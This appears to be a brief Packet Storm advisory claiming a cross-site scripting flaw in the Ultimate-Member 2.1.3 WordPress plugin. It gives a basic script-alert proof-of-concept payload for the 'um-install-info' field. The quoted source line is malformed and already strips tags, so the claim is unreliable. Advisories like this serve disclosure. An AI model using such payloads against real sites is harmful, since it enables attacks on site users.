WordPress Ultimate-Member 2.1.3 Cross Site Scripting ≈ Packet Storm

[-] Title  : word press plugin ultimate-member 2.1.3 - Cross Site Scripting
[-] Author : MEHRAN_FEIZI
[-] Vendor : https://wordpress.org/plugins/ultimate-member/
[-] Category : Webapps
[-] Date : 2020-02-20
==============================================================================================
Vulnerable Page:
ultimate-member/includes/admin/core/class-admin-settings.php
==============================================================================================
Vulnerable Source:
2876: echo echo wp_strip_all_tags($_POST['um-install-info']);
===============================================================================================
POC :
http://localhost/wp-content/plugins/ultimate-member/includes/admin/core/class-admin-settings.php
step 1 = Go To Web Page =
http://localhost/wp-content/plugins/ultimate-member/includes/admin/core/class-admin-settings.php
Step 2 = In the box : "um-install-info"
Step 3 = input box , Add JavaScript Code : <script>alert('XSS')</script>
===============================================================================================
************************
* ==> Contact With We :
* Telegram : @MF0584
* Email : Cette adresse e-mail est protégée contre les robots spammeurs. Vous devez activer le JavaScript pour la visualiser.
************************